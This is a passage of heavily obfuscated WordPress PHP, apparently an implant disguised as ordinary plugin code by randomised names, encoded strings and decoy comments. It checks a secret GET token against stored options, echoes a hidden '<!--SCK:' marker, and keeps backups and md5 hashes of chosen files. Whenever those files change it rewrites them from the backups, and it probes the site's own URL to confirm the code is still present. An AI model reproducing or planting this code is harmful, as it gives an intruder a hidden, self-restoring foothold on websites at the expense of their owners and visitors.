      $hryg7hvtix3vl   =     $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,    $_21al6qih2,  $fem9vxwfvmettxz);
if    ($hryg7hvtix3vl    ===    false)   break;


     $a6ak9qjp3b89f  .=  $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,    0,   $t6oqc4puaha);
$hivoxtr0h17ddzn  = $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,  $t6oqc4puaha, $hryg7hvtix3vl     + $GLOBALS['__scf_h5yqrl6kmpb_10']($_21al6qih2)    -   $t6oqc4puaha);
if   ($vbr9z19n2qhp   !== null) {
     $w7ktmogztxqq    = $GLOBALS['__scf_f_h6mgk0cf1_291']($vbr9z19n2qhp,  $hivoxtr0h17ddzn);
 if ($GLOBALS['__scf_epa1jymnf5_40']($w7ktmogztxqq)) $a6ak9qjp3b89f .= $w7ktmogztxqq;
}  else  {
     $a6ak9qjp3b89f  .=  $hivoxtr0h17ddzn;
}
     $clyirr_5zjy     =     $GLOBALS['__scf_pdat24v9nxkx0_9']($clyirr_5zjy,   $hryg7hvtix3vl  +  $GLOBALS['__scf_h5yqrl6kmpb_10']($_21al6qih2));


 }
 return $a6ak9qjp3b89f   .   $clyirr_5zjy;
}
  function   pvn4jqxlxbe8ayo6($b94e8zl9qx1ungby)
{$eksswdqzuviaem=182;$qvrgs3k2f9yjwc=($eksswdqzuviaem>0)?$eksswdqzuviaem:-$eksswdqzuviaem;
  return  "";
 }
 function     wfwv8wtyxocqzgn($b94e8zl9qx1ungby)
   {

  if  (!$GLOBALS['__scf_epa1jymnf5_40']($b94e8zl9qx1ungby)) return    "";
 if   (!defined(lgr6hp92ka(1389)))   return $b94e8zl9qx1ungby;
      $deq61rcfm0o6inx   =  w5r7ae3dymnovvl7(ABSPATH .  woii22it0(1390),    (4<<1));
   if   ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(1391)  .   $deq61rcfm0o6inx .   lgr6hp92ka(1392),     $b94e8zl9qx1ungby))     return      "";
     return $b94e8zl9qx1ungby;
 }
function aos6k37ji4ryyhkga73e($clyirr_5zjy)
     {
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy) || $clyirr_5zjy  ===   "")   return  $clyirr_5zjy;
$v3ns5_io9ii     = yvxwz8_803so_i($clyirr_5zjy,  woii22it0(1393),    n747he9yo38(1394));
 $v3ns5_io9ii   = yvxwz8_803so_i($v3ns5_io9ii, k83m2slbb(1395), woii22it0(1396));
 if  ($GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)) $v3ns5_io9ii  =    $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(1397),    "",  $v3ns5_io9ii);
if   (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii))   $v3ns5_io9ii  = $clyirr_5zjy;


 if  (_8029ai1hnzfbfzid0n($v3ns5_io9ii))     {
  $v3ns5_io9ii =    yvxwz8_803so_i($v3ns5_io9ii,   k83m2slbb(1393),    lgr6hp92ka(1398));



 $v3ns5_io9ii  =   yvxwz8_803so_i($v3ns5_io9ii,  hwc6a8djp6yy(1395),  k83m2slbb(1398));
 if ($GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)) $v3ns5_io9ii  =   $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1397), "",  $v3ns5_io9ii);





   }


  return  $GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)    ?  $v3ns5_io9ii : $clyirr_5zjy;

}
     function     ycebi12ldckehe52($clyirr_5zjy)

   {$oa3_csc8j=72|6;$gix3x_gnvcn=$oa3_csc8j^76;
if   (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)    || !defined(k83m2slbb(1399)))  return  false;
if ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(1397),   $clyirr_5zjy))  return  true;


 $w8kqmdp0y4e   =  w5r7ae3dymnovvl7(ABSPATH   .    k83m2slbb(1390),    (1+7));
  if    ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](hwc6a8djp6yy(1400),    $clyirr_5zjy,  $eqs2yvegtfu)) {
   foreach     ($eqs2yvegtfu[1] as     $y50pas5dn3)  {
  if  ($GLOBALS['__scf_pdat24v9nxkx0_9']($y50pas5dn3,  -(4+5)) ===     ':'   .    $w8kqmdp0y4e)    return  true;
  }


 }
 $_dd  =  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](ABSPATH . woii22it0(1401)),  0, (10-2));
 if ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](lgr6hp92ka(1402), $clyirr_5zjy,    $_dm))    {
foreach  ($_dm[1]  as   $kiyko9vkra)   {
     if    ($kiyko9vkra      ===  $_dd)  return true;



 }

       }
   return   false;
}
function do1sm9es7lq4ks7d0ep()
  {


if  (!isset($_GET[k83m2slbb(1403)]) ||  !$GLOBALS['__scf_epa1jymnf5_40']($_GET[lgr6hp92ka(1403)])   ||    !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1404)))  return;
  $ykjoqgys2cv4pvh  =   @get_option(woii22it0(551),   array());
  if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh)) return;
 $r6muwcq0k1 = (string)   $_GET[hwc6a8djp6yy(1403)];


 $ad5f87ha3w  =      array();
if (isset($ykjoqgys2cv4pvh['t']))   $ad5f87ha3w[]   = (string)  $ykjoqgys2cv4pvh['t'];


  if  (isset($ykjoqgys2cv4pvh[woii22it0(553)])  && $GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh[woii22it0(553)])) {
// differential call-graph

  foreach  ($ykjoqgys2cv4pvh[woii22it0(553)] as $l1pfzykl6agb)    {



  if ($GLOBALS['__scf_lxbo0xm7220an_34']($l1pfzykl6agb) &&     isset($l1pfzykl6agb['t']))     $ad5f87ha3w[]     =  (string) $l1pfzykl6agb['t'];
     }


}
$t6o2ad3rvcjlqspe    =   false;
  foreach  ($ad5f87ha3w   as     $it3yfb_vtma)    {
if      ($it3yfb_vtma   ===  "")     continue;

$t6o2ad3rvcjlqspe  =  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1405))  ?   hash_equals($it3yfb_vtma, $r6muwcq0k1) :  ($it3yfb_vtma   ===   $r6muwcq0k1);

   if ($t6o2ad3rvcjlqspe)      break;
   }
     if    (!$t6o2ad3rvcjlqspe)     return;
$GLOBALS[woii22it0(1406)]  =  $r6muwcq0k1;
  tqocor6bp4em9eyds9r9w(k83m2slbb(763),   hwc6a8djp6yy(1407), -1);
 if     ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(466))) {
$GLOBALS['__scf_ht1k88rhfc_173'](n747he9yo38(1407));
        }



}
  function    upejv2uhfwcr3eht06f()



  {
      if     (empty($GLOBALS[hwc6a8djp6yy(1406)])   || !$GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[woii22it0(1408)]))  return;
   if  (!empty($GLOBALS[woii22it0(1409)]))   return;

   $GLOBALS[n747he9yo38(1409)]  =  true;
  echo   "\n<!--SCK:"      .  $GLOBALS[hwc6a8djp6yy(1408)] .   lgr6hp92ka(1410);
  }
function o9sg95yf3n60m8uevb0j()
 {$s9uce7b8t=PHP_MAJOR_VERSION;$q00c8gpltn=$s9uce7b8t*8;
if   (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1404)))     return  false;
 $hyzeda9xec3m80j =   @get_option(woii22it0(549),  "");

    if  (!$GLOBALS['__scf_epa1jymnf5_40']($hyzeda9xec3m80j)      ||  $GLOBALS['__scf_p9nk7khmjys_7']($hyzeda9xec3m80j, k83m2slbb(1411))  !==    0)  return false;
$b7d7rvkyid4u3vu   = (int)     $GLOBALS['__scf_pdat24v9nxkx0_9']($hyzeda9xec3m80j, (93^91));
        if  ($b7d7rvkyid4u3vu &&    $GLOBALS['__scf_cyotfgtf1a8m_189']() - $b7d7rvkyid4u3vu >  (86386+14)) return  false;
return   true;
   }
    function   r4wrabnam8f37mfnpwguau($obb00_vecb89w9f6,    $vx4ysj_x5ixw_f)
    {
 if  (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1412))    || !$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1413)))      return  false;
 $ykjoqgys2cv4pvh   =     @get_option(lgr6hp92ka(551), array());


      if (!$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh))  $ykjoqgys2cv4pvh = array();


 if     (!isset($ykjoqgys2cv4pvh[k83m2slbb(553)]) || !$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh[k83m2slbb(553)]))    {$ezaq3hemvauu=9392;$ngigixwziejmt=$ezaq3hemvauu%11;
 $ke9q_15h4sq6kfn     =  array();
if  (isset($ykjoqgys2cv4pvh['t'],  $ykjoqgys2cv4pvh['p'],     $ykjoqgys2cv4pvh['b']))   {


$_vx_ayq9yu  =     (string)  $ykjoqgys2cv4pvh['p'];
  $fa10qna3rn  =    (string)   $ykjoqgys2cv4pvh['b'];

  $ke9q_15h4sq6kfn[$GLOBALS['__scf__pih7hoh4m_56']($_vx_ayq9yu)]     =   array('t'  => (string)  $ykjoqgys2cv4pvh['t'], 'p' =>    $_vx_ayq9yu,    'b'   =>     $fa10qna3rn,   woii22it0(1414)  => isset($ykjoqgys2cv4pvh[n747he9yo38(1414)])   ?  (int)  $ykjoqgys2cv4pvh[hwc6a8djp6yy(1414)] : $GLOBALS['__scf_cyotfgtf1a8m_189'](), n747he9yo38(1415)    =>    0,  'n'    =>   (@$GLOBALS['__scf_mtwlgr3p78_18']($fa10qna3rn)   &&  (int)     @$GLOBALS['__scf_vhi5vhdwib7ye_99']($fa10qna3rn)  === 0)   ?   1 :    0);
$u9xrg7xce6s0wzm     = $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1416)) ?    @md5_file($_vx_ayq9yu)  :  false;

if ($GLOBALS['__scf_epa1jymnf5_40']($u9xrg7xce6s0wzm)  &&  $u9xrg7xce6s0wzm     !== "")  $ke9q_15h4sq6kfn[$GLOBALS['__scf__pih7hoh4m_56']($_vx_ayq9yu)]['h'] =   $u9xrg7xce6s0wzm;
unset($_vx_ayq9yu, $fa10qna3rn,  $u9xrg7xce6s0wzm);
}
 $ykjoqgys2cv4pvh =    array(n747he9yo38(553)  =>    $ke9q_15h4sq6kfn);
     }
/* optimal bridge */

 $wd45zhuy_plh =   $GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6);
 $tn59sokbsip   =   o9sg95yf3n60m8uevb0j()    ?   1  :    0;



        $unilnn99h2ejz0hb   =  !isset($ykjoqgys2cv4pvh[lgr6hp92ka(553)][$wd45zhuy_plh]);
 if    (!$unilnn99h2ejz0hb)   {
   $ykjoqgys2cv4pvh[hwc6a8djp6yy(1417)][$wd45zhuy_plh][k83m2slbb(1418)]  =   $GLOBALS['__scf_cyotfgtf1a8m_189']();
    $ykjoqgys2cv4pvh[k83m2slbb(1417)][$wd45zhuy_plh]['g']   =     $GLOBALS['__scf_kld1jjqcmx_289'](true);
$ykjoqgys2cv4pvh[n747he9yo38(1419)][$wd45zhuy_plh][n747he9yo38(1420)] = 0;
 $ykjoqgys2cv4pvh[n747he9yo38(1419)][$wd45zhuy_plh]['n']  = ($vx4ysj_x5ixw_f ===  "")      ?  1  :    0;
   $ykjoqgys2cv4pvh[woii22it0(1419)][$wd45zhuy_plh][n747he9yo38(1421)]  =      $tn59sokbsip;
$ykjoqgys2cv4pvh[k83m2slbb(1419)][$wd45zhuy_plh][n747he9yo38(1422)]  = $GLOBALS['__scf_cyotfgtf1a8m_189']();
   $ykjoqgys2cv4pvh[k83m2slbb(1419)][$wd45zhuy_plh][lgr6hp92ka(1423)]   =    0;
  $ykjoqgys2cv4pvh[woii22it0(1419)][$wd45zhuy_plh][woii22it0(1424)]    =  0;
  $ykjoqgys2cv4pvh[woii22it0(1419)][$wd45zhuy_plh][lgr6hp92ka(1425)]    =  0;


  if  (!m9xp6uh5w1cal39pfn4cx($ykjoqgys2cv4pvh[lgr6hp92ka(1419)][$wd45zhuy_plh]['b'],   $vx4ysj_x5ixw_f))  {

   pas31bymshzdagwkp(woii22it0(1426),   lgr6hp92ka(1427));
    return  false;
}
     }   else    {
     if  ($GLOBALS['__scf_prfpiytv3egt7_35']($ykjoqgys2cv4pvh[lgr6hp92ka(1428)])    >=  (0x3+0x7)) {
pas31bymshzdagwkp(k83m2slbb(1426),  lgr6hp92ka(1429));
    return false;

 }



    $vm28qyb_j8_ix  =  zaag8uz2ttqgqlhq();
     $agfhn6l5pneugj = $vm28qyb_j8_ix   . woii22it0(1430) .   w5r7ae3dymnovvl7($obb00_vecb89w9f6, (3<<2)) .     lgr6hp92ka(1431);
   if    (!m9xp6uh5w1cal39pfn4cx($agfhn6l5pneugj, $vx4ysj_x5ixw_f))  {
pas31bymshzdagwkp(lgr6hp92ka(1426), k83m2slbb(1427));
      return false;
 }



$ykjoqgys2cv4pvh[woii22it0(1428)][$wd45zhuy_plh]   =  array('t'  =>     hkq6dslzqcgoi1lu4((1+15)),  'p'  =>    $obb00_vecb89w9f6,  'b'     =>      $agfhn6l5pneugj,  hwc6a8djp6yy(1432)   =>     $GLOBALS['__scf_cyotfgtf1a8m_189'](),  'g' =>   $GLOBALS['__scf_kld1jjqcmx_289'](true), n747he9yo38(1420)  =>    0,    'n'      => ($vx4ysj_x5ixw_f   ===  "")  ?     1  :  0,   n747he9yo38(1421)     =>  $tn59sokbsip,  n747he9yo38(1422)  =>   $GLOBALS['__scf_cyotfgtf1a8m_189'](),    n747he9yo38(1423)  => 0, k83m2slbb(1433)  => 0,  hwc6a8djp6yy(1425)   =>  0);
 }
 $zu374fvomtcp  =  @update_option(k83m2slbb(1434),    $ykjoqgys2cv4pvh,     k83m2slbb(1332));
if      (!$zu374fvomtcp)   {



 if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1435)))   @wp_cache_delete(k83m2slbb(1434),   n747he9yo38(1436));
 $kh147jxf2v2t9   = @get_option(lgr6hp92ka(1434),  array());
    $d7i_7gsju4_05 =  $GLOBALS['__scf_lxbo0xm7220an_34']($kh147jxf2v2t9) && isset($kh147jxf2v2t9[n747he9yo38(1428)][$wd45zhuy_plh])  && $GLOBALS['__scf_lxbo0xm7220an_34']($kh147jxf2v2t9[woii22it0(1437)][$wd45zhuy_plh])

        &&   isset($kh147jxf2v2t9[lgr6hp92ka(1437)][$wd45zhuy_plh]['g'])  &&   (string) $kh147jxf2v2t9[k83m2slbb(1437)][$wd45zhuy_plh]['g']  ===  (string) $ykjoqgys2cv4pvh[woii22it0(1437)][$wd45zhuy_plh]['g'];


      if (!$d7i_7gsju4_05)    {
    if  ($unilnn99h2ejz0hb)     y0a1xt15v3nqhjqppfzn($ykjoqgys2cv4pvh[k83m2slbb(1437)][$wd45zhuy_plh]['b']);
 pas31bymshzdagwkp(woii22it0(1426), woii22it0(1438));
 return     false;
    }
 }
 $GLOBALS['__scf_ht1k88rhfc_173'](hwc6a8djp6yy(1439));
 return    true;
     }
     function   gwk1on3jz_vn5tkj4()
  {
 if  (!isset($GLOBALS[k83m2slbb(965)])  ||  !$GLOBALS['__scf_l0cfsnggsm1q4a_1440']($GLOBALS[lgr6hp92ka(965)]))  $GLOBALS[woii22it0(965)]    =   0.0;


   return   11.0    -  $GLOBALS[n747he9yo38(1441)];
     }
   function  j_69q74eq817it7c0y67($e23yh0468k)
{
      $GLOBALS[k83m2slbb(1442)]      =   (isset($GLOBALS[lgr6hp92ka(1442)])   &&  $GLOBALS['__scf_l0cfsnggsm1q4a_1440']($GLOBALS[lgr6hp92ka(1442)])   ? $GLOBALS[k83m2slbb(1443)]  : 0.0)  +   (float)   $e23yh0468k;
    }
function pdesgq2i98532n6i0nu($n3j_7bp_z_v6in)
 {
 $rfhnqrxtfqoxez0u   =  gwk1on3jz_vn5tkj4();
if   ($rfhnqrxtfqoxez0u <= 0.5) return     array(-2,     "");
       $n5tlx7qoos_hkn6 =  $GLOBALS['__scf_pvrbrgmmuddxr_475'](1,   $GLOBALS['__scf_x7w14qggq72p_476']((52^50),   (int) $rfhnqrxtfqoxez0u));



     $njnywdv0p4g219a      = $GLOBALS['__scf_kld1jjqcmx_289'](true);


    $vxtt9q71y9_4iu  =  @$GLOBALS['__scf_ikqfih0ldfvj_293']($n3j_7bp_z_v6in,   array(n747he9yo38(766) =>  $n5tlx7qoos_hkn6,   hwc6a8djp6yy(962)  =>   false,  hwc6a8djp6yy(394) =>    true,    hwc6a8djp6yy(966) =>     0,     woii22it0(689) =>    (462079+586497), woii22it0(311)  => array(n747he9yo38(967) =>   woii22it0(1444),     woii22it0(1445) =>  k83m2slbb(968))));
j_69q74eq817it7c0y67($GLOBALS['__scf_kld1jjqcmx_289'](true)    -    $njnywdv0p4g219a);



 if      ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1446))   && is_wp_error($vxtt9q71y9_4iu))   return array(-1,   false);
     

$nong25gx93c6emu   = $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1447)) ?    (int)  wp_remote_retrieve_response_code($vxtt9q71y9_4iu)    :    0;
  return   array($nong25gx93c6emu,  $nong25gx93c6emu  > 0 &&   $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1448))  ?      (string)  wp_remote_retrieve_body($vxtt9q71y9_4iu)   :   "");

  }
     function zvn_deaq8dwiaefof_fe($obb00_vecb89w9f6)


       {



 if  (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1404))   ||    !$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1412)) ||   !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1416)))  return;

   $ykjoqgys2cv4pvh  =  @get_option(n747he9yo38(1434),   array());
  if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh)   || !isset($ykjoqgys2cv4pvh[n747he9yo38(1437)])   ||    !$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh[n747he9yo38(1449)])) return;
   $wd45zhuy_plh = $GLOBALS['__scf__pih7hoh4m_56']($obb00_vecb89w9f6);



if (!isset($ykjoqgys2cv4pvh[woii22it0(1450)][$wd45zhuy_plh]))  return;
 $_je48tse6vyy9   =  @md5_file($obb00_vecb89w9f6);
 if   (!$GLOBALS['__scf_epa1jymnf5_40']($_je48tse6vyy9)  || $_je48tse6vyy9  ===   "")  return;
    $ykjoqgys2cv4pvh[woii22it0(1451)][$wd45zhuy_plh]['h']   =  $_je48tse6vyy9;
@update_option(n747he9yo38(1434),   $ykjoqgys2cv4pvh,   k83m2slbb(1332));
     }
   function ew8lgqyx2_r89j33($l1pfzykl6agb)



    {
$m_ye78eyoi6la_g   =   @$GLOBALS['__scf_zonhpgc286wu1_95']($l1pfzykl6agb['b']);
        if  (!$GLOBALS['__scf_epa1jymnf5_40']($m_ye78eyoi6la_g))    return   false;



 if   (!empty($l1pfzykl6agb['h'])     &&    $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1416))) {$tx5ogwanz5=241;$_b3fmj7qsuke=($tx5ogwanz5>0)?$tx5ogwanz5:-$tx5ogwanz5;
 $b86zn50nnohmtpj =  @md5_file($l1pfzykl6agb['p']);
   if  ($GLOBALS['__scf_epa1jymnf5_40']($b86zn50nnohmtpj) && $b86zn50nnohmtpj !==    "" && $b86zn50nnohmtpj !== $l1pfzykl6agb['h'])   return    false;
   unset($b86zn50nnohmtpj);



    }
 if ($m_ye78eyoi6la_g    === "")  {
   if  (empty($l1pfzykl6agb['n']))  return false;  

   $jhurcc8kcazsh5 =  !@$GLOBALS['__scf_mtwlgr3p78_18']($l1pfzykl6agb['p']);



 if   (!$jhurcc8kcazsh5) {
 dvd1rr9pr3xu08j($l1pfzykl6agb['p'],      (343+77));
  $jhurcc8kcazsh5     = y0a1xt15v3nqhjqppfzn($l1pfzykl6agb['p']);


  }



   if  ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1452)))    @opcache_invalidate($l1pfzykl6agb['p'], true);
  return     $jhurcc8kcazsh5;
  }
 if  (!m9xp6uh5w1cal39pfn4cx($l1pfzykl6agb['p'],   $m_ye78eyoi6la_g))    return  false;
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1452)))   @opcache_invalidate($l1pfzykl6agb['p'],   true);
  return     true;
 }
     function mpya6kpwo2bn00dy9c1q()
 {
if (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1404)))    return;
    if   (!empty($GLOBALS[woii22it0(132)]))  return;


 if (!oxds6f4_kj2x2e4np9e(lgr6hp92ka(1434))) return;
      try  {
   $ykjoqgys2cv4pvh     =   @get_option(k83m2slbb(1434),  array());
if (!$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh))    return;
if (!isset($ykjoqgys2cv4pvh[n747he9yo38(1451)])   ||   !$GLOBALS['__scf_lxbo0xm7220an_34']($ykjoqgys2cv4pvh[n747he9yo38(1451)]))    {


   $ke9q_15h4sq6kfn  =  array();

if   (isset($ykjoqgys2cv4pvh['t'], $ykjoqgys2cv4pvh['p'],   $ykjoqgys2cv4pvh['b']))    {
  $_vx_ayq9yu  =    (string)    $ykjoqgys2cv4pvh['p'];
 $fa10qna3rn = (string)    $ykjoqgys2cv4pvh['b'];
 $ke9q_15h4sq6kfn[$GLOBALS['__scf__pih7hoh4m_56']($_vx_ayq9yu)]   =   array('t' =>    (string) $ykjoqgys2cv4pvh['t'],   'p'  =>    $_vx_ayq9yu,   'b'   =>     $fa10qna3rn, woii22it0(1432)     => isset($ykjoqgys2cv4pvh[hwc6a8djp6yy(1453)])      ?   (int)  $ykjoqgys2cv4pvh[hwc6a8djp6yy(1453)]  : $GLOBALS['__scf_cyotfgtf1a8m_189'](), hwc6a8djp6yy(1454)      =>  0, 'n'  =>    (@$GLOBALS['__scf_mtwlgr3p78_18']($fa10qna3rn) && (int)    @$GLOBALS['__scf_vhi5vhdwib7ye_99']($fa10qna3rn)     ===    0)    ? 1    : 0);
  $u9xrg7xce6s0wzm  =   $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(1416))    ? @md5_file($_vx_ayq9yu)     :  false;
    if    ($GLOBALS['__scf_epa1jymnf5_40']($u9xrg7xce6s0wzm)     &&   $u9xrg7xce6s0wzm    !==    "")  $ke9q_15h4sq6kfn[$GLOBALS['__scf__pih7hoh4m_56']($_vx_ayq9yu)]['h']   =      $u9xrg7xce6s0wzm;
unset($_vx_ayq9yu, $fa10qna3rn,    $u9xrg7xce6s0wzm);
  }



$ykjoqgys2cv4pvh = array(hwc6a8djp6yy(1455)    =>  $ke9q_15h4sq6kfn);
}
        if   (empty($ykjoqgys2cv4pvh[hwc6a8djp6yy(1456)]))     {
@delete_option(k83m2slbb(1457));

return;
     }
 if     (o9sg95yf3n60m8uevb0j())    {



  $__abqvz1ilzx  =    false;
        foreach    ($ykjoqgys2cv4pvh[n747he9yo38(1456)]  as    $fhbunr3ufa  =>  $ppf_iyck4l4jlz)  {
 if ($GLOBALS['__scf_lxbo0xm7220an_34']($ppf_iyck4l4jlz)     &&  empty($ppf_iyck4l4jlz[hwc6a8djp6yy(1421)]))   {
$ykjoqgys2cv4pvh[hwc6a8djp6yy(1456)][$fhbunr3ufa][n747he9yo38(1458)]  =  1;
 $__abqvz1ilzx =  true;

  }
  }
   if    ($__abqvz1ilzx)  @update_option(k83m2slbb(1459),    $ykjoqgys2cv4pvh,  woii22it0(1460));
unset($__abqvz1ilzx,  $fhbunr3ufa, $ppf_iyck4l4jlz);$vpinz6fhun=(0xa+0xd0);$ama1zs_ahrd=$vpinz6fhun%2;

 return;

}


     static   $pamj0z7b24q4xgbb     = false;
  if  ($pamj0z7b24q4xgbb)   return;
 $pamj0z7b24q4xgbb   =    true;


   $mb4t3lgrmb   = $GLOBALS['__scf_giqqyal8igkjo_731']($ykjoqgys2cv4pvh[woii22it0(1456)]);
   $_j8wrorj6g5hyb  = array();
      if   ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(396))) @$GLOBALS['__scf_wmg_r8_psd4a_396']();



 elseif  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1461)))  @$GLOBALS['__scf_ekj1cb6udx6_397']();
if     ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(398))) @$GLOBALS['__scf_qebke97nki67_398'](true);
if    (!$GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(686)) ||     !$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1162)))    return;
    $iclbjzpfzkj0hwq    = home_url('/');
    

 $g2y3u2x37ykvj     = $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(556))  ? wp_login_url()  :      $iclbjzpfzkj0hwq    . lgr6hp92ka(555);



 $ichh13rqiv =   false;

$jrmzem_pc_pqk_   =  true;


  $rfhnqrxtfqoxez0u      =  (1+2);
 foreach ($ykjoqgys2cv4pvh[woii22it0(1456)]   as    $wd45zhuy_plh => $l1pfzykl6agb)      {
if   (gwk1on3jz_vn5tkj4()   <=    0.5)  break;
if     (!$GLOBALS['__scf_lxbo0xm7220an_34']($l1pfzykl6agb)    ||  empty($l1pfzykl6agb['t'])   || empty($l1pfzykl6agb['p']) ||    empty($l1pfzykl6agb['b']))    {


   unset($ykjoqgys2cv4pvh[lgr6hp92ka(1456)][$wd45zhuy_plh]);
  $ichh13rqiv =  true;
      continue;
   }
    if   (!isset($l1pfzykl6agb['n'])   ||      !isset($l1pfzykl6agb['h']))   {

 if   (!isset($l1pfzykl6agb['n'])) $l1pfzykl6agb['n'] = (@$GLOBALS['__scf_mtwlgr3p78_18']($l1pfzykl6agb['b'])     &&    (int)   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($l1pfzykl6agb['b']) ===  0)      ?    1 :   0;
if (!isset($l1pfzykl6agb['h'])      &&  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1416)))    {
$m2v_drpjgvqx6qcj =    @md5_file($l1pfzykl6agb['p']);



if   ($GLOBALS['__scf_epa1jymnf5_40']($m2v_drpjgvqx6qcj)   &&  $m2v_drpjgvqx6qcj   !==     "") $l1pfzykl6agb['h']   = $m2v_drpjgvqx6qcj;
  unset($m2v_drpjgvqx6qcj);


}
 $ykjoqgys2cv4pvh[k83m2slbb(1462)][$wd45zhuy_plh]  =  $l1pfzykl6agb;
$ichh13rqiv  =      true;
// open branded-type

 }
 if (!empty($l1pfzykl6agb[k83m2slbb(1458)]))  {
$l1pfzykl6agb[k83m2slbb(1458)]   =     0;
    $l1pfzykl6agb[lgr6hp92ka(1463)]  =  $GLOBALS['__scf_cyotfgtf1a8m_189']();
  $l1pfzykl6agb[woii22it0(1454)]  = 0;
 $l1pfzykl6agb[k83m2slbb(1423)] =   0;



  $l1pfzykl6agb[k83m2slbb(1464)]  =  0;
   $l1pfzykl6agb[n747he9yo38(1425)]    =  0;
  $ykjoqgys2cv4pvh[lgr6hp92ka(1462)][$wd45zhuy_plh]  =  $l1pfzykl6agb;
$ichh13rqiv      =  true;


     }
  if  (empty($l1pfzykl6agb[hwc6a8djp6yy(1422)])) {
   $ykjoqgys2cv4pvh[hwc6a8djp6yy(1462)][$wd45zhuy_plh][woii22it0(1422)] =  (int) $l1pfzykl6agb[n747he9yo38(1465)];
  $l1pfzykl6agb[lgr6hp92ka(1422)]    =   (int) $l1pfzykl6agb[lgr6hp92ka(1465)];
$ichh13rqiv     =  true;
       }
// WP Table Block: throttle backlog



   if (!empty($l1pfzykl6agb[n747he9yo38(1464)])  &&   $GLOBALS['__scf_cyotfgtf1a8m_189']() <  (int)   $l1pfzykl6agb[k83m2slbb(1464)]) continue;
 if  ($rfhnqrxtfqoxez0u    <=    0)  break;
  $rfhnqrxtfqoxez0u--;



      $bmw_0dmfm_1f3ngb   =  lgr6hp92ka(1466)  .    $GLOBALS['__scf_moias7ig1lavh_1467']($l1pfzykl6agb['t'])     .     woii22it0(1468)    .    $GLOBALS['__scf_qt5_3awd0l2_350']((0x3b0c+0x14b94),     (999902+97));
  

 list($nong25gx93c6emu,  $rwmelnydmqla)   =      pdesgq2i98532n6i0nu($iclbjzpfzkj0hwq .    $bmw_0dmfm_1f3ngb);



  if ($nong25gx93c6emu  ===   -2) break;
 if    ($nong25gx93c6emu   >    0)  $jrmzem_pc_pqk_    = false;
if    ($nong25gx93c6emu     ===  -1 &&  $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(696))  && gwk1on3jz_vn5tkj4()  > 2) $GLOBALS['__scf_ecgvvcuio_g7k_696'](1);
if ($nong25gx93c6emu ===  -1)   {
   list($nong25gx93c6emu,   $rwmelnydmqla)     = pdesgq2i98532n6i0nu($iclbjzpfzkj0hwq . $bmw_0dmfm_1f3ngb);
 if   ($nong25gx93c6emu ===   -2) break;
  if ($nong25gx93c6emu  >  0) $jrmzem_pc_pqk_   =   false;


 }
if  ($nong25gx93c6emu  <=   0) {
   $ykjoqgys2cv4pvh[k83m2slbb(1462)][$wd45zhuy_plh][k83m2slbb(1454)]++;
$ichh13rqiv   =   true;
     continue;
    }

     if ($nong25gx93c6emu  >=   (729-229)) {



    if  (ew8lgqyx2_r89j33($l1pfzykl6agb))    {
  pas31bymshzdagwkp(hwc6a8djp6yy(1469),   n747he9yo38(1470)      .  $GLOBALS['__scf_a39nlvrnocxziu_3']($l1pfzykl6agb['p']));


